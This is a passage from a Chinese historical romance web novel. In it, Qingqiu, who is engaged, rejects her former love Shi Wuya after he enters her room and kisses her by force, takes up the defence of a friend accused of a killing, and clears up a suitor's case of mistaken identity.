方才止住的泪又滚滚落下,韦南风心知是因她话说得不妥当,可到底是为了陈芸的身子。 吕汀英悄声朝韦南风道:“母亲,让王夫人远远的瞧一眼罢了。” 韦南风只得依了,吕汀英轻声道:“夫人多心了,清秋自是能谅解母亲的,夫人若要见,便随我来。” 吕汀英上前亲切地挽住王夫人的手臂,命李妈妈在前带路,韦南风时时与陈芸搭话,但却说得格外小心。 杏院花已败,青梅树尚且青绿。 吕汀英带陈芸入卧房,李妈妈先一步命云露放下帷帐,以免陈芸过了病气,吕汀英打帘入内,陈芸往里望去。 “清秋,瞧瞧谁来了?”吕汀英柔声道,扶着陈芸坐在榻上。 卧房烧着炭,并未关窗,一进房比别处暖和,房中陈设清简。 陈芸不动声色地打量四下,女儿家的闺房最是能显出人品的地方,她瞧清秋房中陈设布置简洁,确实是书香之流,应当是个沉静的姑娘。 汴京的名门闺秀大多如此,陈芸瞧不出别的,她对清秋倒无甚意见,只王恒喜欢便好,其余的就算不出挑也无妨。 “夫人亲自来见清秋,清秋却不能见夫人,还望夫人见谅。”清秋声音虚浮,透过雪白帷帐依稀可见几人身影。 陈芸听她话音有气无力,心疼道:“无妨,若是恒儿晓得了,也是要来看你的,他近来忙,一时疏忽也是有的,你们的亲事我早早的备好了。” 清秋斜倚着锦枕,沉默半晌,才道:“劳夫人费心。” 清秋没心思与陈芸周旋,前些日子的秋雨引得她旧疾复发,自两年前,每至秋日她便会头疼腿酸。 见清秋不再言语,陈芸寒暄几句便要回府,吕汀英与韦南风将她送至宅门前。 云露见人走后,忙撩开帷帐,挂到帐钩上。 “绿柳呢?”清秋抬眸看向云露。 云露蹙眉道:“绿柳姐姐近来都在二郎君身边,有时回杏院来,二郎君那边都敬着绿柳姐姐,自绿柳姐姐过去,那边院里好似都听她的。” 清秋眸光一凝,垂眸道:“明日让绿柳回杏院来,总在二哥哥身边像什么话,是我的女使还是二哥哥的女使。” 云露会意,本欲说付高越想讨绿柳去做女使,可现下清秋头昏脑胀,说完话便又要睡下。 “姑娘将药喝了再睡。”云露端来汤药,扶起清秋。 清秋支起身,闷下整碗药,云露忙拈一颗梅子糖喂给清秋,清秋眉头深蹙,口内泛苦。 “把梅子糖放到小几上,晚些时候我起来吃。”清秋蜷缩进被衾。 云露照清秋说的将一整包梅子糖放至榻上小几,见清秋睡下,匆匆退出房内。 这几日清秋不出房门,只在书案前看些书,练字。 十一月的最后一日,清秋已见好,喝过药后意识昏沉,兀自上塌睡去,云露见罢也回房去歇息。 清秋这一觉睡得很沉,韦南风和吕汀英知尚未好全,也不来打搅她,只等着她病好了再来看望。 时近戌时,窗外下起淅淅沥沥的小雨,细密的雨丝刮在枝头檐下,添几许凉意。 清秋幽幽转醒,房内只一豆灯火,窗外雨声渐密,清秋在青山寺有听雨的习惯,如今回了付宅仍保留着,她起身披上大氅推开窗,虽未到入冬但她身弱,早早的就备好了衣物。 书案上还未看完的古籍一页页地被翻过,清秋支手扶额,幽暗的灯烛映照着她病美的眉眼,有些许憔悴,却又带几分坚毅。 她只堪堪翻了几页,窗外似有什么响动,屋内瞳瞳竟叫了起来。 清秋抬眸朝屋外望去,倒没瞧见人影,云露此刻应当已睡下,莫不是绿柳回来了? 思及此,清秋推门而出,秋雨裹着冷风灌进大氅,冷得人心头一颤,屋外明月清辉,眼前景象一览无余,并无什么人。 清秋转身回房,只刚一进屋,便觉有股寒气冷意裹紧了她,随后又有一股蛮力摁住她的手腕,清秋心慌意乱,正要出声,却见身后那人进屋关门一气呵成。 待到进屋后,清秋才凭借一豆灯火看清了来人,师无涯扣紧她的双手,将她抵在门后。 他身上带有细密的雨丝,又因雨丝生出寒气,双重凌冽的气息死死压在她头顶,外头细雨如针,秋风一吹就更寒凉。 清秋柳眉倒竖,仰头冷声道:“你发什么疯,堂堂一个将军翻进姑娘宅院,你这是要作甚?” 师无涯垂眸盯着她,一言不发,只看着清秋气得脸色发青。 看她如此生气,师无涯心头竟有些欢喜,可转念一想,那些欢喜太过浅薄,他倒不想要这些欢喜。 他为在青山寺套元智的话,告假一月,在寺中足足套了一个月,为元智鞍前马后,就差对元智俯首称臣。 元智并未食言,将清秋在青山寺的那两年所发生之事全数告诉他。 清秋初入青山寺时神魂失守,身子骨极差,在寺中调养半年,那时是王恒与尹惜守在她身边才渐渐好转,在那两年里王恒陪在她的身边形影不离。 所以清秋喜欢王恒,愿意嫁给王恒都是出自这一层。 师无涯从元智的话中得知许多往事,其实清秋还是和以往一样固执,在寺中诵经参禅时,清秋总是固执己见,她幼时那样骄纵的一个小姑娘,在寺里烧水做饭,潜心礼佛,那是他无法想象的。 他在雨停的那几日,去后山看了红枫,元智说那是清秋长待的地方,元智问她为何。 清秋笑答:“顺着汴河南下,便可回杭州。” 或许旁人不懂,可师无涯明白清秋为何在意杭州,只要她一日忘不了杭州,那她就并未真正放下他。 她的心里还有他,可是在心里的那个角落呢。 师无涯眸光轻颤,抬手想去抚摸清秋的脸,清秋横眉别开脸,斥道:“师无涯你眼里还有什么礼义廉耻!” “不要嫁给王恒”师无涯眼睫低垂,沉声道。 清秋本就气他,如今乍一听他的话,不由得恼怒,直道:“与你何干?我早与你说了千百遍,早定下的事,况——” 话未尽,吻先落。 师无涯俯身亲她,叩紧清秋的手腕,一手逼迫她仰起头来,他吻得急,仿佛风雨过境,夹杂着风霜雨雪。 清秋呜咽出声,满目怨怼,挣不开他的手,也转不过头。 吻如雨下,一点点地碾磨着她的唇舌。 清秋虽有些迷糊,却依着记忆里的布局,抄起一旁的烛台砸向师无涯,师无涯吃痛松开手,额间冒出红涔涔的血珠。 清秋得空喘息片刻,一双杏眸斥满怒意,“你疯了吗!师无涯你是疯子吗。” 雨夜深长,窗外风雨不歇,吹落一地枯枝败叶。 师无涯见她怒目横眉,心知清秋定然恼他,可他此刻太想将她揉进骨血,俯身在她耳畔低语。 清秋眸光凌冽,恨恨道:“师无涯我定亲了,要成婚了,你为何一而再再而三地出来捣乱,难不成我这一辈子就该围着你转?” 师无涯恍若未闻,只上前一步,将她圈进怀里,紧紧锢着她。 清秋只觉他行事卑鄙,毫不在意她的名节,她挣不开师无涯,索性懒得使力,只是他身上冷得很,惹得她身子颤栗。 他身上凌寒的气息萦绕在侧,清秋身子僵冷,思绪却勾起惊涛骇浪,从前已消解的往事再度涌上心头。 师无涯弃她,厌她,如今为何又要再度来惹她。 她在他眼中当真是个召之即来,挥之即去的玩意吗。 清秋心头大恸,眼底腾起水雾,十二年来的委屈心酸好似一朝迸发,虽挣不开师无涯,清秋却恨得磨牙吮血,想也不想地咬在他的手臂上。 唇齿破开衣襟,舌尖尝到血水,又腥又恶心,引得清秋胃里翻腾,可她是恨师无涯待她薄情寡义的,恨他当年如此决绝,恨他冷眼相对。 师无涯额间血珠滴在清秋肩上,他拧着眉不松手,仍旧死死地抱着她,仿佛这样就能消解那两年的过错。 牙齿陷进皮肉,撕开皮肉,师无涯一声不吭,垂头抵在清秋肩上。 “清秋,别恨我” “清秋,是我错了,但别恨我好吗,你想要什么,我都可以为你寻来,不要恨我” 师无涯忍痛垂眸,眼泪滚过面颊,他的声音轻的不能再轻,生怕触到什么。 清秋杏眼含泪,唇齿打颤,不再用劲咬他。 她等师无涯这句话等了十几年,等了一年又一年,可如今她等到了,却无当年的心思。 迟了一切都迟了。 她早已放过自己,也放过师无涯,所有的恨都抿在含血的唇齿间,清秋抬手敛泪,试图推开师无涯。 师无涯圈着她,不肯放手,手臂上的一排齿痕流出泊泊鲜血,深红牙印血淋淋地染湿衣裳。 “师无涯,我说过此生永不原谅。”清秋不做挣扎,眸光流转落在书案上。 两年前,她趴在书案前一遍又一遍地写“再不要喜欢师无涯”,如今她好像能做到了。 “你曾说的那些话,你不记得了吗?师无涯我替你记得,每一句我都记得,你说‘此生决不娶付清秋’,你说‘付二姑娘,你赖上我了不成’,你说‘无才无德,差之千里’你都不记得了吗?”清秋一字一顿,恨不能将这些话咬碎在口里。 到底是过去的事,困在过去的事里,那就永远无法走出来。 清秋恨他,却也真切的喜欢过他。 回首向来萧瑟处,归去,也无风雨也无晴也无情。 “师无涯,你说的话我都替你记着,何必再做纠缠呢,往后男婚女嫁各不相干,松开我”清秋眸光镇静,声如脆铃。 话落,师无涯心下惘然,颤颤地松手,瞳仁皱缩,他不愿信……不愿信清秋再不喜欢他。 往日清秋所诉情语,而今看来好似一把利刃,剜心蚀骨,挑开他骨骼上附着的筋脉,骨肉连心,痛彻心扉。 师无涯惊慌失措地站在她面前,眼中似有惊惶之色,好似丧家之犬,落魄又可怜。 清秋掠过他,不紧不慢地点燃灯烛,房内骤亮,在静谧的雨夜一切都如此的安宁颓然,师无涯就站在她身前,为她伤怀,为她流泪。 可是师无涯我需要这些的时候你不在我身边,你也从未敬重我。 清秋悄然垂眸,举着灯烛,坐至榻上,挑眉望向师无涯,继而淡声道:“快些走吧。” 清秋眉梢轻扬,见他仍旧站着不动,心中腾起几分快意,多难得啊,师无涯竟也有低眉垂眸的落拓之态。 万籁俱寂,房中静得出奇,烛火幡然摇曳,风透过菱花窗吹进房内,房内弥散淡淡的血腥气。 师无涯并未离去,他倏然抬眸,大步走至清秋身前,他双臂一撑,将清秋圈在小小的方榻之中,清秋自觉地往后仰,扬眉看尽他眼中的愤懑情绪。 他的肩头还渗着血,眸光凶狠却又十分可怜,恰似黔驴技穷之后的无可奈何。 清秋毫不避讳地仰头,看着他的眼睛,蓦然一笑:“师无涯,你真可怜。” 窗外月光照进房内,清秋平静地看着他,师无涯眉头紧蹙,只愣愣地望着清秋。 方才那句话,他也曾对清秋说过,如今那些话都原原本本的回到他身上,师无涯攥紧双拳,愤然埋头。 “清秋,很多事都不是你所见到的那样,别嫁给王恒。”师无涯垂首,痛声道。 清秋抬手推开师无涯,冷声道:“师无涯,你没无权干涉我。” 话音甫落,房内再度沉静,瞳瞳忽地叫出声,异色双瞳直勾勾的盯着师无涯。 师无涯倏然抬眸,深吸口气,渐渐直起身来,沉声问道:“清秋,你一点都不想知道从前的事?” “不想。”清秋起身,懒得理他。 师无涯怔在原地,他眼看着清秋上床榻,裹着被衾朝里睡去,师无涯心知清秋不愿与他纠缠,恐怕连句话都不愿同他说,千言万语就如此咽了回去。 他凭借薄薄月光凝神看了会,不多时便推门而出,门外那棵青梅树,似有新生在雨夜中枝叶摇晃,簌簌作响。 临行前,师无涯回首看清秋卧房,清秋的一切他都如此熟悉,而此刻,他却生出无边的惶恐,犹如站在悬崖边无路进退的绝望。 清秋待他再无一丝一毫的情意。 待门合上,清秋翻身起床,换了身轻简的衣裳,师无涯身上沾着雨水,而她沾了师无涯,身上难免被打湿,要她此刻睡下,是决计不能的。 清秋放下帐钩,取了件大氅,蜷在榻上困到天明。 她已无心纠结师无涯为何如此,如今于她而言,更重要的事盛婼的名声,亲事定下来,她就该去查一查这桩事。 翌日清晨,吕汀英一大早来寻她,清秋睡得迷糊,喉咙酸胀,双腿麻木。 云露见有人来,忙进屋服侍清秋洗漱,前几日清秋起得迟,故而她也躲懒,今日没曾想吕汀英来得这么早,杀了个措手不及。 清秋耳尖一动,陡然惊醒,扯着嗓子道:“快来扶我一把。” 闻言,云露忙跑至清秋身边,扶着她起身,清秋腿根发麻,借着云露的力才站稳。 “姑娘,你昨夜怎么睡在榻上,”话未说完,云露视线一扫,见清秋脖上有血,惊道:“姑娘,你脖子流血了。” 语毕,清秋抬手摸了摸,凝眉道:“不碍事,许是被虫子蛰了,你这么着急作甚?” 云露拧眉道:“姑娘,今日大娘子遣女使来说,今日要来见姑娘叙叙话,这回应当过来了,姑娘啊快洗漱吧。” 清秋略微颔首,正好与吕汀英说完话,便出府去寻盛婼,再问问那日的事。 只刚洗漱完毕,吕汀英便带着女使进来,清秋引她就坐,吕汀英身侧女使手捧一红木匣子,清秋瞧着有些眼熟。 吕汀英见她疑惑,忙道:“这匣子是前阵子我来寻你,瞧见你不在,这匣子摆在青梅树下,想着应当是你重要的东西,便自作主张替你收起来了。” 此言一出,清秋便知晓前因后果,应当是云露和绿柳未来得及烧,就被吕汀英带走,后来她也未曾提及这件事,竟迷迷糊糊地忘了。 那匣子里头还装着师无涯所赠的及笄礼,余下的就是她写了一遍又一遍的印花笺。 清秋抬眸看向云露,云露似也意识到什么,一脸苦涩,接过女使手中的木匣子。 吕汀英未问那匣子里是何东西,她正要问清秋的婚事,清秋敷衍两句,就以出门有约支走吕汀英。 清秋命云露将匣子收好,待她回来亲自烧了去。 时值正午,天已清明,雨后枝叶清新,庭中青松油然锃亮。 清秋换上碧色长褙子,简单梳妆,便只身一人匆匆出门,只刚踏出垂花门,就见一人在她眼前一道湖蓝身影快步奔走。 “二哥哥,你去哪儿?”清秋蹙眉,轻声喊道。 付高越循声回头,见清秋一身青绿,敛去眉间愁绪,一抹喜色跃上眉梢。 “你又是去哪儿?”付高越笑问。 清秋打量他,忽地想起绿柳的事,问道:“你把绿柳藏在屋里,什么时候还我?难不成二哥哥想要讨她过去?” 付高越眸光一冷,敲她眉心,道:“你在想什么?她只不过想还救命之恩,你还不晓得绿柳那性子?” 绿柳打小跟在清秋身边,清秋自是了解她的,可人心隔肚皮,绿柳究竟想什么,她又如何得知。 清秋心下诽腹,到底没去揣度绿柳,有时怀疑生了根,便是说什么都有了影。 第50章 至始至终,师无涯喜欢的就只…… 付高越见清秋失神, 伸手在她眼前晃了晃,笑道:“你方才不是问我要去哪儿?我要去拜见广威将军。” 闻言,清秋讶然抬眸, 亦笑道:“竟想到一处去了, 我也要去将军府。” 付高越眉头下压, 疑道:“你去将军府作甚?” 清秋并未细说,只道是去访友见人,付高越只一瞬便猜出来, 与广威将军有干系的人,又值得她去见的, 就只有盛家三姑娘盛婼了。 二人到将军府时将近未时, 秋日金乌高悬,不灼人,格外明亮。 昨日落过雨, 风中残余雨后新土的滋味,闻着清新。 守门小厮认得二人, 忙命人去禀何彬,何彬此时正在院中练功,听人来报, 将手中长枪扔回架上。 只刚进府, 清秋便见一熟人,付高越见他在并不稀奇,他二人都曾受何彬赏识, 时常来往无可厚非。 红菱得知清秋来,急忙跑至前厅,要请她去见盛婼。 清秋忽视师无涯,径直要去见盛婼, 付高越见红菱哭丧着脸,忙问:“出了何事?这样着急,你家姑娘怎么了?” 红菱哪能向付高越解释,更何况是外男,家丑不可外扬的道理红菱还是明白。 清秋也觉此事不应让付高越知道,并不言语,只随红菱要走。 付高越攥住清秋,正色道:“何事,你能晓得,我为何不能晓得?” “二哥哥,你缠着我作甚,怎得不亲自问问盛姐姐,到底是别人家的事,你要晓得了还得了。”清秋觑他一眼,恨恨别过眼。 师无涯上前一步,正欲阻拦付高越,还不曾上手,何彬便快步赶来,尽管是在府中,他周身仍有不可忽视的杀气。 何彬阔步而来,浑朴的眸子一转,叹道:“瞒不住的,日后全汴京都会晓得,告诉你也无妨,都随我来罢。” 师无涯与何彬同行,付高越见势缓缓松手,凑近至清秋身边,低声道:“清秋,方才——” “和我扯这些作甚?方才你要吃了我,从小到大你几时这样和我说话。”清秋嗔道,别过头不理他。 何彬嗓音浑厚,谈起盛婼,生出几丝惆怅,他道:“婼婼自小刚强,打从她母亲去世后行事愈发张扬,盛佯那老东西管不住她,妄想打死她保全盛家名声,如此一了百了,可怜我妹妹只这么一个姑娘,我如何能不管。” 付高越探问清秋究竟是出了何事,清秋垂眸,叹道:“待会见了盛姐姐就知道了。” 师无涯一言不发,目光时不时的游移。 红菱先行一步,行至卧房时,她轻声叩门,“姑娘,付二姑娘来了。” 房中寂静,清秋上前侧耳倾听,隐隐听见低声啜泣的抽噎声,清秋示意红菱退下。 “盛姐姐,我来了,快别哭了,今日来的人多,可别哭花了眼。”清秋轻声打趣。 盛婼在房中听见清秋如此,兀自一笑,忙用帕子擦干泪,起身去开门,甫一开门,就见乌泱泱的几个大男人。 打眼一瞧就见一湖蓝身影,恰似山野清泉里的碧空。 盛婼眼周浮肿,一见他在,她忙拉过清秋进屋,随后立即将门重重合上。 “这是作甚?”清秋一时惊愕,幽幽回神。 盛婼并未搭话,只是坐至妆镜前,敷粉簪花,盖住眼角浮肿,贴上花钿。 “清秋,怎么这么多人。”盛婼点绛唇,回首问她。 清秋坐在临窗的榻上,轻声道来:“二哥哥要来将军拜访广威将军,我是来见你,为何又哭了?” 盛婼垂眸敛眉,眸光黯然,“昨日,盛家打发人了,要我回府,说是要给张小娘子一个交代,否则便要将我逐出盛家,从族谱上除名,连带着我母亲也要被除名清秋,我爹就是这么狠心,为了张丽娘要把逼死。” 盛佯要为张丽娘讨个公道,就必须拿盛婼正法。 清秋起身,环抱住坐在凳上的盛婼,柔声道:“别怕,盛姐姐。” “没做过的事,自然不能认,盛大人如此薄情寡信,日后定无善报,盛姐姐你莫怕,你好生待在将军府,我去查那张小娘子。”清秋温声安抚。 不过时,似有什么崩裂,只见晴光入室,勾出一抹极其澄澈的湖蓝,好似碧空长风吹进房内。 盛婼乍一抬眼,见是付高越,不由得埋进清秋怀里,幽幽转过头。 付高越横眉,问道:“盛三姑娘,你从前不是这个性子,怎么到这儿就怕了。” 清秋气得柳眉倒竖,急道:“二哥哥你胡说些什么,这是将军府又不是宅里,还由你撒泼了吗!” 何彬与师无涯齐齐进屋,何彬愁道:“付娘子,我已将婼婼的事尽数告知,谁知他踹门就进来了。” “婼婼吓到了没。”何彬觑她一眼,盛婼呜咽不语。 付高越上前临至清秋身边,盛婼环抱着清秋的腰,她埋在清秋怀里不肯见人,盛婼以往最是傲娇,张扬且明媚,一举一动都是世家闺秀的傲气。 如今却扑在他妹妹的怀里,付高越蹲下身,眸光荡起涟漪,他柔声道:“不止有清秋在,我信你不会做那等事,盛三姑娘。” 良久,盛婼咽下抽噎声,缓缓抬眸,转头看向付高越,他仰目看她,好似将她奉做仙女敬仰。 付高越目光怜惜,郑重其事地道:“盛三姑娘,除了清秋,我可以做你的退路,无论——” “够了二哥哥,哪里就到了那个地步,莫要再说些丧气话!”清秋止住他的话。 直至今日,清秋才看清她这个二哥哥心里竟有这个心思,她从前怎么没发觉,他待盛婼是不同的。 盛婼美目含泪,眼若秋水,目光流转在付高越身上,一时无话可说。 何彬皱眉长叹,道:“高越,婼婼再不济也有我在,你们何须搅和进来。” 师无涯眸光一转,停在清秋身上,清秋自是察觉他的目光,只是她无心在意,现下最要紧的便是盛婼的名声。 付高越心中有疑,盛婼虽说任性了些,可杀人这种事,他不信盛婼做得出来。 此刻,他宁愿盛婼任性骄纵些,如此她便不会伤心。什么名声,付高越都不甚在意,他只愿她能自在些。 盛婼眼睫低垂,朱唇轻启,问付高越:“你信我” “我信你。”付高越笃定颔首,温声道。 闻言,盛婼眸光忽亮,唇角轻扬,心中生出几分宁静。 “此事尚未传扬出去,只怕有朝一日,被谁走漏了风声,到那时婼婼的名声恐怕就真的毁了。”何彬连连叹气,心疼地看着盛婼。 盛婼起初想回外祖父何家,奈何何元稹不肯让她回去,盛家早前就同何元稹说了盛婼的事,何元稹见孙女品性不佳,只得将她赶出去。 如今只有何彬还愿能护着她,何元稹几次劝说何彬将盛婼送回盛家,何彬置之不理,却又无法为侄女正名。 清秋忧心盛婼的处境,无处去留,就连待在舅舅家日后也是要为人不齿的。 盛家明摆着不认盛婼,只等着押她回去认罪,这原本只是盛家的阴私,但盛婼的身份注定了这场祸事并不简单。 清秋回想起吕汀英所说的一席话,如今官家病重,二大王和太子都在暗中拉拢势力,何家为太子做事,盛家又与二大王交好,张丽娘又是张氏出身。 盛家自然而然地向着二大王,也向着张丽娘。 清秋心内惶恐,若要帮盛婼,就得理清这一层,这不仅关乎盛婼的名声,还与朝堂上的暗流涌动有关。 可这一切与盛婼又有何干系,盛婼只是闺阁女儿,却要成为当党争的牺牲品。 清秋心知她如今的安稳日子都是父兄所挣下的,正是因为如此,她和盛婼其实并无差别,盛婼因母亲逝世,在盛家过得艰难,外祖父家又日渐衰颓。 倘使有一日,她的父兄不再得势,恐怕她也会想盛婼这般无助。 清秋不敢深想,从那样的思绪中跳脱出来。 付高越似有些话要单独同盛婼说,清秋只好先退出来,盛婼叫她安心去,见盛婼心情大好,清秋稍稍松了口气。 清秋行至院中亭下,身后有人跟着她,不必想也知是谁。 “你方才在想什么。”清秋回身问他。 师无涯目光闪躲,敷衍道:“没想什么。” 清秋沉声道:“你的眼神出卖了你,师无涯你觉得就是盛姐姐做了那件事。” 师无涯倏然垂眸,一时无措,道出心中所想,“清秋,若无证据,她就是最直接的凶手,你可晓得那是一条人命。” 清秋暗暗垂眼,不与师无涯纠缠,师无涯忙上前道:“我送你回去。” “不必,王郎君已候在府门外。”清秋淡声道。 师无涯倏地顿步,望着清秋远去的身影,心头陡然失落。 清秋与王恒一道离开马行街,王恒并未问盛婼的事,只说了些闲话趣事,清秋心口闷,没去接王恒的话。 王恒见她心思重,便也不再说。 清秋匆匆回付宅,还未至杏院,就见云露快步追来,欢喜道:“姑娘,大姑娘回来了,正在棠院等着姑娘呢。” 闻言,清秋三步并作两步地往棠院去,上回相见还是她回汴京,后来宫宴没能瞧见付清岁,这是她们第二回在宅里相见。 付清岁坐在亭下,听见背后急促的脚步声,忙起身回头,见是清秋急切而来,付清岁面上含笑,柔声开口。 “你这么急作甚,我又不能跑了。”付清岁笑道。 清秋轻喘口气,走至亭下,道:“大姐姐指不定过会就走了,我是追也追不上了。” “胡说!”付清岁点她眉心,拉过她的手一道坐下,“听说你与王家郎君定亲了?日子定好了吗,你年岁不小了,也是该定下来了。” 清秋回道:“日子还未定好,近来我为别的事烦心。” “是为师无涯?”付清岁疑道。 前阵子少年将军的事闹得沸沸扬扬,汴京城谁不晓得他,初听那人名姓时,唬得她坐立难安好几日。 不论是师无涯还是清秋,付清岁总觉对二人有愧。 可时过境迁,已是整整两载,清秋已说亲,再无当年的骄纵任性,而师无涯这两年如何,付清岁无从知晓。 到底是错过了。 付清岁感慨万千,心道万事万物都有自个儿的缘法,她不过从中参与一二,到头来也怪不到她头上。 这几日付清岁总会梦到保神观前的事,神佛背后,她被贼寇劫持,师无涯和清秋在她面前。 稍有不慎,她就会命丧黄泉。 付清岁暗想她这一生最对不住的就是这个妹妹,可事到如今,她已难以回头,只得顺水而下。 只当师无涯和清秋无缘结成夫妻。 两年前,保神观前,风雨夜,师无涯俯身在她耳畔低声言语。 “答应你的事,我做到了,请你替我守住这个秘密。” 师无涯待她从未有过男女之情,而她对师无涯亲近,也只是因清秋喜欢他。 师无涯从未喜欢过她,至始至终,师无涯喜欢的就只有清秋。这件事天知地知,除却师无涯,只余她知。 清秋喜欢师无涯十二年,师无涯亦然。 付清岁替师无涯守这个秘密守了十四年,她看着妹妹的欢喜落空,心中会腾起没由来的快意,纵使是家中的掌上明珠,却也有求而不得的东西。 然而,清秋并不晓得,她求而不得的,早就得到了。 付清岁自知当初她曾有过刻意之举,刻意让清秋认为师无涯喜欢自己,而师无涯也为出走一事埋足了伏笔。 师无涯心气高,不愿这样在付家消磨,可又舍不了清秋,出此下策,让清秋以为他从不喜欢她。 而她愿意帮师无涯守这个秘密,只因她当初曾有一言,“危难之际,请以我为先。” 她知师无涯心中以清秋为主,所以她必须为自己寻得庇佑,不论是青园还是保神观,师无涯都做到了,以她为先。 师无涯当真心狠,对清秋只字不提,不表露爱意,不行偏袒之举,伤透了清秋。 清秋去青山寺修行的那两年,付清岁辗转难眠,这个秘密令她煎熬数夜,回想清秋几度形销骨立,她都想一吐而快。 可若告诉清秋,她与师无涯是同谋,一次次伤害了妹妹,最终她咽下这个秘密。 付清岁清楚师无涯内心深处的偏执自卑,因此在付家只有她和师无涯是同路人,师无涯从前有再好的出身,到头来不还是寄人篱下。 师无涯为清秋扬名立万,清秋为师无涯修行两年,都错过了。 50-60 第51章 竟是一场笑话 秋高气爽, 棠院枯枝凋零,有些寂寥落寞。 清秋侧目看付清岁失神,轻声唤道:“大姐姐, 你在想什么?” 付清岁幽幽回神, 抿唇轻笑, 道:“没什么,一些旧事,不要紧。” “大姐姐, 我不为师无涯的事烦心,是别的事。”语罢, 清秋将盛家一事道出。 付清岁凝眉道:“清秋, 盛家的那位张小娘子我是见过的,到底是别人家的事,清秋你还是别去管了, 张小娘子为着盛家的姑娘着想,也不会将此事闹大, 盛三姑娘行事乖张,倘若倘若她真的做了呢?” 清秋登时起身,眸光一沉, 冷声道:“盛姐姐绝不会这样做, 姐姐我知道你是为我和付家好,可盛姐姐又有什么错。” 付清岁见她如此,不好再说别的, 只柔声道:“别将自己搅和太深,你当真要去查这件事,先从接生的婆子查起,后宅里的手段你是没见过的, 多得是见不得人的。” 语毕,清秋忙要去查,付清岁见她要走,本欲在和她叮嘱几句,谁知三两下就跑出视线,云露忙追了出去。 —— 盛宅位于马行街西街,若张丽娘生产,那一定也是从马行街找的稳婆,马行街这一带多得是稳婆和大夫。 盛家是官宦人家,想来是好找的,清秋与云露分头探听。 暮色四合,霞光飞天,街上陆陆续续的出来许多商贩,搭起彩棚青布。 清秋正欲前往仁心堂讯问坐诊的大夫,岂料在仁心堂旁边的药膳铺,遇上了熟人。 “付姑娘。” 清秋戴着幂篱,循声回头,只见一绛紫色圆领长袍身影,清秋只见过他几次,他怎么会透过幂篱认出她来。 “中郎将。”清秋颔首施礼。 杨淮蔺骨节分明的手勾着一根麻绳,吊着油纸包的糕点,见清秋在,便上前去扔给她。 清秋下意识地接住,杨淮蔺走至她身前,隔着幂篱也能感受到他灼灼的目光,清秋被盯着不自在,攥紧了手上的糕点。 “付二姑娘,来此是为何事?”杨淮蔺勾唇,含笑问道。 清秋回道:“一些小事。” 杨淮蔺并未追问,盯着她的幂篱,说及别的事,他道:“你和王郎君的亲事我听说了,是王夫人亲自去的贵府,想来我是晚了一步。” 清秋心下生疑,杨淮蔺为何总对她这般。 清秋抿唇道:“我与王郎君的亲事是早就订下的,只是一直拖着未成。不过,中郎君对我是否有些误会?” 杨淮蔺剑眉轻挑,侧目看向清秋,“有什么误会?” 清秋思忖道:“我与中郎将保神观初见,再见已是两年后,为何中郎将待我如此情深意重?其中莫不是有些误会。” 暮色消融,月影爬上枝头,酒肆前挂上红灯笼,人潮涌动。 杨淮蔺垂眸看清秋的侧影,好半晌才开口,“想来是没有误会的,付二姑娘应当晓得我并非什么正人君子。” 清秋想不知道也不行,汴京城内世家公子多多少少都有些行为不端,其中最为常见的便是流连勾栏瓦舍,放浪狎妓。 眼前的中郎将便是其中之一。 到底是些流言,清秋无心探究,他对杨淮蔺无甚感情,何须要以此定他的人品,于清秋而言,杨淮蔺救过她,是她的救命恩人,至于旁的事,与她无关。 “中郎将说笑了,君子论迹不论心,中郎将救过我,自然是君子好人。”清秋轻声道。 杨淮蔺沉吟片刻,另起话头,他似想到什么,眉眼温柔地笑道:“说起两年前,我记得你姐姐,她格外坚毅,在那样的险境中仍能清醒,她是我见过最胆大的姑娘。” “姐姐已嫁人许久,她亦是我心中最好的姐姐。”在这点上,清秋与杨淮蔺不谋而合。 “我知道,去岁我曾去李家观礼贺喜了。”杨淮蔺沉声道。 清秋看不清他眼中的情绪,但他的声音多了几分怅惘,还未等清秋反应过来,杨淮蔺借着澄明的烛光打量她。 良久,杨淮蔺开口道:“两年前我曾在屏风后见过你。” 清秋倏然抬眸,周遭黄澄澄的灯烛映在杨淮蔺身上,隐隐约约拼凑出一个翩翩少年,但她从未见过杨淮蔺。 两年前韦南风确实要她二人隔着屏风挑选如意郎君,可她从未往屏风看过,亦不曾见过杨淮蔺。 清秋这才意识到杨淮蔺认错了人,她并非屏风后所站之人,杨淮蔺喜欢的也并非是她。 当真是天意弄人,叫他苦守两年,却认错了人。 “中郎将,我想请你吃杯酒,不知中郎将能否赏脸。”清秋道。 杨淮蔺应允,清秋带着他随意进了一家酒楼,她定了最好的雅间,杨淮蔺本欲付钱,却被清秋拦下。 “中郎将先请。”清秋让杨淮蔺先行,而后又回身要了掌柜手边的扇子。 二楼雅间尚且干净,一座屏风,临窗小几,杨淮蔺先推门而入,他本先请清秋,清秋回拒,仍让他先行。 窗边溜进少许月光,雅间内烛光明亮,杨淮蔺已至窗边,正欲回身看清秋,却见清秋立于屏风后久久不动。 “付二姑娘?”杨淮蔺蹙眉,疑声道。 清秋隔着屏风,往后退了两步,在屏风前的影子逐渐淡去,她手中的折扇被她当作团扇把玩,一如当年她在屏风后无所事事的模样。 杨淮蔺心道不对,眸光轻颤,似是觉察出什么,又喊了声,“付姑娘。” 是付清秋还是付清岁。 屏风后的那人,身姿纤细,窈窕却灵巧,毫无含羞怯意,她不是当年他在屏风后见到的那人。 他见到的是付清岁,而非付清秋。 错了错了他等错了。 “中郎将,当年你在屏风后所见之人,并非是我,想来应当是我的大姐姐。”清秋抬眸道,她隔着屏风,又戴着幂篱,看不清杨淮蔺此刻是何神情。 杨淮蔺瞳眸轻颤,难以置信地盯着清秋的虚影,竟然不是付清秋,竟然不是她。 那他这两年为付清秋所拒之婚事,竟是一场笑话,他想娶之人早已嫁做他人妇。 “付姑娘——” 杨淮蔺喉间挤出生涩的话语,一时间,他不知该如何面对清秋,亦不晓得这两年付清岁待他有几分情意。 当年清秋入青山寺修行不久,他曾翻过付宅,满院的棠花,月影绰绰,房内有一佳人临窗而立,伏案温书,那时他竟忘了要跳下白墙,径直栽了个跟头,摔出了付宅。 杨淮蔺在京中没有什么好名声,并不需要一个家世显贵的妻子,他的姑姑会为他打点好一切。 因而,除却中郎将这个头衔外,与他同在的还有风流二字,襄王妃管不住他,只得由他去。 再风流的人,有个好家世,仍有人愿意往上攀,她到时为他挑个满意的就是。 只是这两年他收敛许多,只为只为等着付姑娘。 清秋淡声道:“大姐姐已成亲一年有余,中郎将也曾亲自观礼,时不待人,如今在说这些实在无用,还望中郎将想开些。” 杨淮蔺看她的时候,是透过她在看她姐姐,可她是她,姐姐是姐姐,打从一开始,杨淮蔺就弄错了。 